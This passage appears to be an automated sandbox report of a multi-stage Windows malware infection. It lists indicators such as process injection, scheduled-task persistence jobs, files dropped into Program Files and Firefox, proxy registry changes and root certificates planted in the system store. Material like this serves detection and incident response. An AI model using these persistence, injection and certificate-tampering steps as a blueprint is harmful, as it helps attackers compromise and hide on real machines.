File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\A16C6C16D94F76E0808C087DFC657D99_65F72881313B5F8FFC737C28E760643D	tlxKVRf.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File created	C:\Windows\system32\GroupPolicy\gpt.ini	XFNPoyW.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\A16C6C16D94F76E0808C087DFC657D99_4780F988327458A7DCEC4A36CEB1E168	tlxKVRf.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	rundll32.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	FirstZ.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	XFNPoyW.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	XFNPoyW.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	tlxKVRf.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	tlxKVRf.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	LtRBcxp.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	reakuqnanrkn.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	tlxKVRf.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\A16C6C16D94F76E0808C087DFC657D99_65F72881313B5F8FFC737C28E760643D	tlxKVRf.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F2DDCD2B5F37625B82E81F4976CEE400_9FBE97E00625C0963C1CF751F29CF9B3	tlxKVRf.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	LtRBcxp.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 8 IoCs

Processes:

022a85ea47e474a7473a4618eb2549f12f3d6ebf300ffb2c7e4eed2cc91e0466.exeexplortu.exeexplortu.exec806278209.exeaxplong.exe6fff6f14a4.exeb7d640390d.exeda_protected.exe

pid	process
1196	022a85ea47e474a7473a4618eb2549f12f3d6ebf300ffb2c7e4eed2cc91e0466.exe
2624	explortu.exe
1808	explortu.exe
500	c806278209.exe
544	axplong.exe
1816	6fff6f14a4.exe
2952	b7d640390d.exe
1920	da_protected.exe

Suspicious use of SetThreadContext 7 IoCs

Processes:

explortu.exedrivermanager.exereakuqnanrkn.exechromedriver.exebfkwpn.exebfkwpn.exe

description	pid	process	target process
PID 2624 set thread context of 1808	2624	explortu.exe	explortu.exe
PID 3524 set thread context of 3852	3524	drivermanager.exe	MSBuild.exe
PID 768 set thread context of 3596	768	reakuqnanrkn.exe	conhost.exe
PID 768 set thread context of 3380	768	reakuqnanrkn.exe	explorer.exe
PID 1196 set thread context of 3572	1196	chromedriver.exe	chromedriver.exe
PID 488 set thread context of 3000	488	bfkwpn.exe	bfkwpn.exe
PID 3624 set thread context of 4704	3624	bfkwpn.exe	bfkwpn.exe

Drops file in Program Files directory 24 IoCs

Processes:

tlxKVRf.exeLtRBcxp.exe

description	ioc	process
File created	C:\Program Files (x86)\dSFCGoajU\EHlrPf.dll	tlxKVRf.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi	tlxKVRf.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	tlxKVRf.exe
File created	C:\Program Files (x86)\QVWjqfQytQiLC\RvPWqNv.xml	tlxKVRf.exe
File created	C:\Program Files (x86)\XPXpeEiKDyUn\ViCuQnm.dll	tlxKVRf.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi	LtRBcxp.exe
File created	C:\Program Files (x86)\yPeEHKRKYSIU2\iKViUQzVdteKC.dll	LtRBcxp.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	tlxKVRf.exe
File created	C:\Program Files (x86)\dSFCGoajU\tNVhThy.xml	tlxKVRf.exe
File created	C:\Program Files (x86)\dSFCGoajU\KiQVtK.dll	LtRBcxp.exe
File created	C:\Program Files (x86)\yPeEHKRKYSIU2\MZnfbBO.xml	tlxKVRf.exe
File created	C:\Program Files (x86)\dEiqbvzNTqQVhmXUeQR\zqrGXJu.xml	tlxKVRf.exe
File created	C:\Program Files (x86)\QVWjqfQytQiLC\vBEXIpX.dll	tlxKVRf.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi	LtRBcxp.exe
File created	C:\Program Files (x86)\dSFCGoajU\UmfRmlh.xml	LtRBcxp.exe
File created	C:\Program Files (x86)\yPeEHKRKYSIU2\SomYiQW.xml	LtRBcxp.exe
File created	C:\Program Files (x86)\dEiqbvzNTqQVhmXUeQR\qdiHCCq.xml	LtRBcxp.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi	tlxKVRf.exe
File created	C:\Program Files (x86)\yPeEHKRKYSIU2\NExHilDrCPafg.dll	tlxKVRf.exe
File created	C:\Program Files (x86)\dEiqbvzNTqQVhmXUeQR\iPFADXR.dll	tlxKVRf.exe
File created	C:\Program Files (x86)\dEiqbvzNTqQVhmXUeQR\LXvslMn.dll	LtRBcxp.exe
File created	C:\Program Files (x86)\QVWjqfQytQiLC\sJCkrmI.dll	LtRBcxp.exe
File created	C:\Program Files (x86)\QVWjqfQytQiLC\nkFqAoJ.xml	LtRBcxp.exe
File created	C:\Program Files (x86)\XPXpeEiKDyUn\LIAVLyB.dll	LtRBcxp.exe

Drops file in Windows directory 14 IoCs

Processes:

022a85ea47e474a7473a4618eb2549f12f3d6ebf300ffb2c7e4eed2cc91e0466.exeNewLatest.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeb2c2c1.exeschtasks.exeschtasks.exeschtasks.exewusa.exewusa.exec806278209.exechromedriver.exe

description	ioc	process
File created	C:\Windows\Tasks\explortu.job	022a85ea47e474a7473a4618eb2549f12f3d6ebf300ffb2c7e4eed2cc91e0466.exe
File created	C:\Windows\Tasks\Hkbsse.job	NewLatest.exe
File created	C:\Windows\Tasks\bRfJDuKmNsszhfPRJj.job	schtasks.exe
File created	C:\Windows\Tasks\ZeWKVsXrVUhETallN.job	schtasks.exe
File created	C:\Windows\Tasks\IKgJWbxobPFnKRD.job	schtasks.exe
File opened for modification	C:\Windows\Tasks\ZeWKVsXrVUhETallN.job	schtasks.exe
File created	C:\Windows\Tasks\Dctooux.job	b2c2c1.exe
File created	C:\Windows\Tasks\igQCsPejxzPEidhrw.job	schtasks.exe
File created	C:\Windows\Tasks\IKgJWbxobPFnKRD.job	schtasks.exe
File opened for modification	C:\Windows\Tasks\bRfJDuKmNsszhfPRJj.job	schtasks.exe
File created	C:\Windows\wusa.lock	wusa.exe
File created	C:\Windows\wusa.lock	wusa.exe
File created	C:\Windows\Tasks\axplong.job	c806278209.exe
File created	C:\Windows\Tasks\Test Task17.job	chromedriver.exe

Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

764 sc.exe
3204 sc.exe
3664 sc.exe
1636 sc.exe
2628 sc.exe
3948 sc.exe
2860 sc.exe
3536 sc.exe
1048 sc.exe
1644 sc.exe
1516 sc.exe
3000 sc.exe
2948 sc.exe
1788 sc.exe
Detects Pyinstaller 1 IoCs
pyinstaller

Processes:

resource yara_rule

C:\Users\Admin\AppData\Local\Temp\1000088001\spain.exe pyinstaller
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
764	sc.exe
3204	sc.exe
3664	sc.exe
1636	sc.exe
2628	sc.exe
3948	sc.exe
2860	sc.exe
3536	sc.exe
1048	sc.exe
1644	sc.exe
1516	sc.exe
3000	sc.exe
2948	sc.exe
1788	sc.exe

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\1000088001\spain.exe	pyinstaller

Program crash 9 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
1956	1780	WerFault.exe	upd.exe
3208	3168	WerFault.exe	gold.exe
3524	3560	WerFault.exe	legs.exe
4460	4228	WerFault.exe	XFNPoyW.exe
5080	1532	WerFault.exe	XFNPoyW.exe
3332	3084	WerFault.exe	Install.exe
3924	4036	WerFault.exe	Install.exe
1948	4644	WerFault.exe	tlxKVRf.exe
4832	592	WerFault.exe	LtRBcxp.exe

Enumerates system info in registry 2 TTPs 9 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

chrome.exeInstall.exeInstall.exerundll32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	rundll32.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

wscript.exetlxKVRf.exeLtRBcxp.exeexplorer.exepowershell.exeXFNPoyW.exerundll32.exepowershell.exepowershell.exeXFNPoyW.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	tlxKVRf.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs	LtRBcxp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{2496C5CB-E9D9-463B-8009-CA6E9281A60F}\WpadDecisionReason = "1"	LtRBcxp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates	explorer.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{2496C5CB-E9D9-463B-8009-CA6E9281A60F}\WpadNetworkName = "Network 3"	tlxKVRf.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	tlxKVRf.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{2496C5CB-E9D9-463B-8009-CA6E9281A60F}	tlxKVRf.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	LtRBcxp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	tlxKVRf.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs	tlxKVRf.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs	tlxKVRf.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	tlxKVRf.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	LtRBcxp.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached	XFNPoyW.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\12-b1-a0-df-04-6e	tlxKVRf.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My	tlxKVRf.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	LtRBcxp.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	LtRBcxp.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	tlxKVRf.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	tlxKVRf.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	rundll32.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	LtRBcxp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	LtRBcxp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	tlxKVRf.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	tlxKVRf.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	tlxKVRf.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs	LtRBcxp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\ROOT\CTLs	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs	tlxKVRf.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	tlxKVRf.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	tlxKVRf.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	tlxKVRf.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	LtRBcxp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	LtRBcxp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates	LtRBcxp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	XFNPoyW.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{2496C5CB-E9D9-463B-8009-CA6E9281A60F}\WpadDecisionReason = "1"	tlxKVRf.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs	tlxKVRf.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	tlxKVRf.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	tlxKVRf.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	tlxKVRf.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates	LtRBcxp.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT	explorer.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{2496C5CB-E9D9-463B-8009-CA6E9281A60F}\WpadDecision = "0"	LtRBcxp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates	tlxKVRf.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\ROOT\CTLs	tlxKVRf.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs	tlxKVRf.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{2496C5CB-E9D9-463B-8009-CA6E9281A60F}\12-b1-a0-df-04-6e	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	LtRBcxp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	LtRBcxp.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{2496C5CB-E9D9-463B-8009-CA6E9281A60F}\WpadDecisionTime = 10c1c9fe61c3da01	tlxKVRf.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs	tlxKVRf.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	tlxKVRf.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	LtRBcxp.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\12-b1-a0-df-04-6e\WpadDecisionTime = 10c1c9fe61c3da01	LtRBcxp.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	LtRBcxp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\ROOT\CRLs	explorer.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\12-b1-a0-df-04-6e\WpadDecisionReason = "1"	tlxKVRf.exe

Modifies system certificate store 2 TTPs 4 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

Processes:

Hkbsse.exewjgbfp.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	Hkbsse.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	Hkbsse.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	wjgbfp.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	wjgbfp.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 22 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

